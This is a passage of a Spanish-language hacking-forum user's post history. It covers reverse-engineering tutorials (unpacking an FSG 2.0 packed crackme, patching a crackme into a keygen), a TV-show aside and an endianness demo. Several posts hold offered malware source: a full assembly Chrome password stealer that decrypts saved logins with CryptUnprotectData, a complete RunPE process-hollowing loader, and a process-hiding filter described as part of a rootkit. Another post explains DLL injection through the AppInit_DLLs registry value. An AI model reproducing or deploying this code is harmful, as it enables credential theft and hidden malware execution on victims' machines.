|
31
|
Programación / Ingeniería Inversa / [Tutorial] Desempacando FSG 2.0
|
en: 12 Febrero 2016, 02:03 am
|
Mirando crackmes para practicar aquí me tope con uno que estaba empacado con este packer (FSG 2.0). Me puse a buscar por internet y no vi ningún tuto en español, excepto uno de +NCR de CracksLatinos, asique me decidi seguirlo y probar a desempacarlo. El crackme en cuestion es CrackMe#1 (Lucky) de KLiZMA, lo podeis buscar en la web antes citada. Para desempacarlo vamos a necesitar el plugin OllyDump, que podemos obtener desde aquí. Bueno, una vez hecho esto lo abrimos con RDG Packer y vemos que efectivamente, esta empacado Lo abrimos con OllyDbg y vamos a ver algo así. Ahora vamos a buscar el verdaero OEP, para ello vamos a Plugins > OllyDump > Find OEP by section hop (Trace Over).Y caemos aquí Ahora clic derecho > Analisis > Remove Analisis from this module. Y ahí vemos el verdadero OEP. Ahora, vamos a guardar los cambios, para ello vamos a Plugins > OllyDump > Dump Debugger Process. Le damos al botón Dump y guardamos el ejecutable desempacado. Ahora nos surge otro problema, por lo menos en Windows 7 de 64 bits y es qeu al intentar ejecutarlo, nuestro ejecutable no funciona Para que funcione tendremos que hacer clic derecho sobre el ejecutable y darle a solucionar opciones de compatibilidad. Seguir el asistente y dejarlo con la configuración que nos recomienda el SO. Y bueno, ahora si nos deja ejecutarlo correctamente. Bueno, pues eso ha sido todo. No es un gran cosa pero en determinados casos te puede sacar de un "apuro". Espero que a alguien le sirva. saludos.
|
|
|
32
|
Seguridad Informática / Análisis y Diseño de Malware / [FILTRO] Ocultando procesos a NtQuerySystemInformacion
|
en: 6 Febrero 2016, 08:03 am
|
No es el código completo, ya que sería todo demasiado masticado peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello. Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos) Si abrimos la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior). En fin, aquí esta el código. // Filtro procesos a la API NtQuerySystemInformation // Juan fary. // MVSC++ 2008 #include <windows.h> #include <stdio.h> #include <stdlib.h> typedef struct _SYSTEM_PROCESS_INFORMATION { DWORD NextEntryOffset; char fary1[56]; DWORD ImageName; DWORD fary2; LONG BasePriority; PVOID UniqueProcessId; } SYSTEM_PROCESS_INFORMATION; typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*); int main() { _SYSTEM_PROCESS_INFORMATION * spi; DWORD ret; char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará _SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation"); void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); spi = (_SYSTEM_PROCESS_INFORMATION *)buffer; ret = __SystemProcessInformation(5, spi, 1024*1024, NULL); //_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono. while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos. { _SYSTEM_PROCESS_INFORMATION * Viejospi = spi; spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset); if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0) { Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset; }else{ spi = Viejospi; spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset); } } /*spi = Intacta; while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P { MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0); spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset); }*/ return 0; }
Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia. saludos.
|
|
|
33
|
Programación / Ingeniería Inversa / [Tutorial Nivel básico] Haciendo cantar a nuestro Crackme
|
en: 4 Febrero 2016, 22:12 pm
|
En este tema intentaré explicar como hacer de nuestro Crackme, un Keygen. Modificando su comportamiento. Decir que, esta técnica no funciona con todos los crackme, pero normalmente con los que suele hacer un strcmp suele funcionar. En esta práctica vamos a usar el Crackme V1 de Yo-Mismo. Lo podemos descargar de aquí (estando registrados). http://crackmes.de/users/yo_mismo/crackme_v1/Bien, una vez que tenemos el crackme lo abrimos con OllyDbg. Lo importante es llegar al punto caliente donde compara el seríal que genera con el que nosotros introducimos, para ello en este caso pondremos un BP en scanf. Y se nos parará aquí: Un poco mas abajo veremos el strcmp: 00401389 |. E8 52040000 CALL <JMP.&msvcrt.strcmp> ; \strcmp ponemos un BreakPoint en el. Introducimos usuario y serial y se nos parará en la función, vamos a examinarlo. En la dirección 0x00404010 esta el serial correcto y en la dirección 0x00404020 esta el seríal que nosotros hemos introducido. Anotamos la dirección donde guarda en seríal generado para nuestro usuario, osea 0x00404010. Ahora lo que haremos será modificar la función printf, para que cuando valla a dar el error de “chico malo” en vez de mostrar el error muestre lo que sería el seríal válido para el usuario introducido. Un poco mas abajo veremos donde muestra el mensage de error y el mensage correcto. Entonces todo lo que tenemos que hacer es modificar esta linea: 004013A8 |> C70424 6420400>MOV DWORD PTR SS:[ESP],crack.00402064 ; |ASCII "Sigue intentando..." Por esta otra: 004013A8 C70424 1010400>MOV DWORD PTR SS:[ESP],crack.404010 Ahora guardemos los cambios. Clic derecho>Copy To executable>All Modifications.Clic derecho de nuevo en la ventana que nos paarecio > Save File.Guardamos con el nombre que queramos y listo. El único requisito que debemos cumplir es que el usuario y el serial que introduzcamos debe tener una longitud igual o mayor a 4. Si observas el algoritmo del Crackme lo vas a poder ver Ejemplo de como funciona nuestro keygen: Eso fue todo Espero que se haya entendido algo, y nada, se que esto es muy básico pero seguro que a mas de uno de los que empiezan le va a servir. un saludo.
|
|
|
34
|
Foros Generales / Foro Libre / Cuarto Milenio.
|
en: 1 Febrero 2016, 01:29 am
|
Bueno, pues, esto es solo una curiosidad.
¿Cuantos de ustedes siguen este programa?
Me parece un programa interesantisimo y lo sigo desde hace años.
saludos.
|
|
|
35
|
Seguridad Informática / Análisis y Diseño de Malware / Inyección DLL por registro.
|
en: 27 Enero 2016, 00:56 am
|
Bueno, creo que esto no se ha hablado por aquí aunque es un poco viejuno Se trata de modificar un valor de esta ruta del registro: HKEY_LOCAL_MACHINES\Software\Microsoft\WindowsNT\CurrentVersion\Windows\ El valor AppInit_DLLs. En el pondrémos la ruta de nuestra DLL. Nuestra DLL será cargada cuando inicie una aplicación y cargue USER32.DLL. saludos.
|
|
|
37
|
Seguridad Informática / Análisis y Diseño de Malware / [ASM] Stealer Google Chrome.
|
en: 21 Enero 2016, 08:58 am
|
Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador Es un Stealer del navegador Google Chrome, funcional con la última versión. Código fuente: ; Stealer Google Chrome ; Programado por Juan fary. ; Flat Assembler. format PE Console 4.0 entry start include 'win32ax.inc' section '.data' data readable writeable ruta db '\Local\Google\Chrome\User Data\Default\Login Data',0 query db 'SELECT origin_url, username_value, password_value FROM logins',0 bd dd ? stmt dd ? URL db 'URL: %s',10,13,0 Usuario db 'Usuario: %s',10,13,0 PASS db 'PASS: %s',10,13,0 struct DATA_BLOB cbData dd ? pbData dd ? ends datain DATA_BLOB dataout DATA_BLOB buffer rb 255 barra db '-----------------------------------------------------',10,13,0 BufferRuta rb 512 APPDATA db 'APPDATA',0 section '.code' code readable executable start: invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512 invoke lstrcat, BufferRuta, ruta cinvoke sqlite3_open, BufferRuta, bd cmp eax, 0 ; eax = SQLITE_OK jne salir cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0 cmp eax, 0 ; eax = SQLITE_OK jne salir BuclePass: cinvoke sqlite3_step, [stmt] cmp eax, 100 ; eax = SQLITE_ROW jne salir cinvoke printf,barra cinvoke sqlite3_column_text , [stmt], 0 ; URL cinvoke printf,URL,eax cinvoke sqlite3_column_text , [stmt], 1 ; USUARIO cinvoke printf,Usuario,eax cinvoke sqlite3_column_text , [stmt], 2 ; Contraseña mov [datain.pbData], eax mov [datain.cbData], 512 invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout mov ecx, -1 BucleNull: mov edx, [dataout.pbData] inc ecx cmp byte[edx+ecx],0x08 jne BucleNull mov byte[edx+ecx],0 cinvoke printf, PASS, [dataout.pbData] cinvoke printf,barra jmp BuclePass salir: cinvoke system,'PAUSE' ret section '.idata' import data readable writeable library sqlite3, 'sqlite3.dll',\ msvcrt, 'msvcrt.dll',\ Crypt32, 'Crypt32.dll',\ KERNEL32, 'KERNEL32.DLL' import sqlite3,\ sqlite3_open, 'sqlite3_open',\ sqlite3_prepare_v2, 'sqlite3_prepare_v2',\ sqlite3_column_text, 'sqlite3_column_text',\ sqlite3_step, 'sqlite3_step' import msvcrt,\ printf, 'printf',\ memcpy,'memcpy',\ system, 'system' import Crypt32,\ CryptUnprotectData, 'CryptUnprotectData' import KERNEL32,\ GetEnvironmentVariableA, 'GetEnvironmentVariableA',\ lstrcat, 'lstrcatA'
saludos.
|
|
|
38
|
Programación / ASM / Little-Endian Big-Endian
|
en: 18 Enero 2016, 23:41 pm
|
Esto es solo una curiosida ampliando los datos de la wikipedia. https://es.wikipedia.org/wiki/Endianness En ASM. ; Little-Endian ó Big-Endian ; Juan fary. format PE Console 4.0 entry start include 'win32ax.inc' section '.data' data readable writeable numero dw 1 little_endian db 'Little-Endian!',0 big_endian db 'Big-Endian!',0 section '.code' code readable writeable executable start: mov al, byte[numero] cmp al,1 jne Big invoke MessageBoxA,0,little_endian,0,MB_OK ret Big: invoke MessageBoxA,0,big_endian,0,MB_OK ret section '.idata' import data readable writeable library User32,'User32.dll' import User32,\ MessageBoxA,'MessageBoxA'
saludos.
|
|
|
39
|
Seguridad Informática / Análisis y Diseño de Malware / Formato PE.
|
en: 18 Enero 2016, 01:19 am
|
¿Qué es el formato PE?Según wikipedia: El formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows. En palabras sencillas, es la estructura que tienen los archivos ejecutables. ¿Para qué nos sirve en malware?Pues teniendo conocimientos del PE podemos desde infectar un ejecutable, hasta cargarlo en memoria sin que toque el disco (RunPE), cargar funciones sin importarlas, en fin, una seria de ventajas que sin su conocimiento no sería posible hacer o sería posible pero de mala manera. Manuales-Manual Formato PE - The Swash-Importando funciones manualmente. -> https://www.mediafire.com/file/hpbtm61ms4o9iet/1330-IMPORTANDO_FUNCIONES_MANUALMENTE_-_The_Swash.rar/file-Relocaciones en ejecutables. -> https://www.mediafire.com/file/l2jp79c06jgfs58/1331-RELOCACIONES_EN_EJECUTABLES_por_The_Swash.rar/fileTalleres-Taller Secciones formato PE - The Swash-Taller formato PE - Ferchu-Cifrando Malware a mano - Zero.-LoadLibrary Manual - YukiCódigos-Ret Exe Corruption - Karcrack-Runpe en ASM - fary.-Base Relocation - Zero.-Infección por TLS - The Swash.
Más documentación: https://elhacker.info/manuales/PE/Si se me escapa algo más por ahí, avisar!
|
|
|
40
|
Seguridad Informática / Análisis y Diseño de Malware / [ASM] RunPE
|
en: 18 Enero 2016, 00:46 am
|
Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo. Se los dejo por aquí... ; // RunPE ; // Programado por Juan fary (mDrinky) ; // drinky.94@hotmail.com format PE GUI 4.0 include 'win32ax.inc' entry start section '.data' readable writeable struct CONTEXT ContextFlags dd ? Dr0 dd ? Dr1 dd ? Dr2 dd ? Dr3 dd ? Dr6 dd ? Dr7 dd ? FloatSave dd ? SegGs dd ? SegFs dd ? SegEs dd ? SegDs dd ? Edi dd ? Esi dd ? Ebx dd ? Edx dd ? Ecx dd ? Eax dd ? Ebp dd ? Eip dd ? SegCs dd ? EFlags dd ? Esp dd ? SegSs dd ? ExtendedRegisters rb 512 ends calc db 'c:\windows\system32\calc.exe',0 bleidos dd 0 Datos dd 0 Espacio dd 0 _SI STARTUPINFO ? _PI PROCESS_INFORMATION ? CTX CONTEXT ? Param2 dd 0 ; Datos PE imagebase dd ? sizeofheaders dd ? sizeofimage dd ? numseciones dd ? section '.code' executable readable writeable start: invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ; nos autoleemos mov ebx,eax invoke GetFileSize,ebx,0 mov edi,eax invoke GlobalAlloc,GPTR,edi push eax invoke ReadFile,ebx,eax,edi,addr bleidos,0 invoke CloseHandle,ebx pop eax mov [Datos],eax cmp word[eax],'MZ' jne salir add eax,dword[eax+0x3C] ; PE cmp word[eax],'PE' jne salir push dword[eax+0x34] ; imagebase pop [imagebase] push dword[eax+0x54] ; sizeofheaders pop [sizeofheaders] push dword[eax+0x50] pop [sizeofimage] ; sizeofimage movzx ebx,word[eax+0x6] ; numero de secciones mov [numseciones],ebx push eax ; guardamos ya EAX para el final push eax invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase] invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE mov [Espacio],eax invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0 pop eax mov ecx,0 add eax,0xF8 ; posicionamos en las cabeceras de sección EscribirSecciones: inc ecx push ecx push eax mov ebx,eax mov ebx,dword[ebx+0xC] ; imagebase add ebx,[imagebase] mov [Param2],ebx mov ebx,eax mov ebx,dword[ebx+0x14] mov edx,[Datos] add edx,ebx mov ebx,eax mov ebx,dword[ebx+0x10] invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0 pop eax pop ecx add eax,0x28 ; Siguiente IMAGE_SECTION_HEADER cmp ecx,[numseciones] jne EscribirSecciones invoke GetThreadContext,[_PI.hProcess],CTX invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0 pop eax add eax,dword[eax+0x3C] mov eax,dword[eax+0x28] mov [CTX.Eax],eax ; EntryPoint invoke SetThreadContext,[_PI.hProcess],CTX invoke ResumeThread,[_PI.hThread] salir: ret section '.idata' import data readable writeable library NTDLL,'NTDLL.DLL',\ KERNEL32,'KERNEL32.DLL' import KERNEL32,\ CreateProcessA,'CreateProcessA',\ CreateFileA,'CreateFileA',\ GetFileSize,'GetFileSize',\ GlobalAlloc,'GlobalAlloc',\ ReadFile,'ReadFile',\ CloseHandle,'CloseHandle',\ VirtualAllocEx,'VirtualAllocEx',\ WriteProcessMemory,'WriteProcessMemory',\ GetThreadContext,'GetThreadContext',\ SetThreadContext,'SetThreadContext',\ ResumeThread,'ResumeThread' import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'
|
|
|
|
|
|
|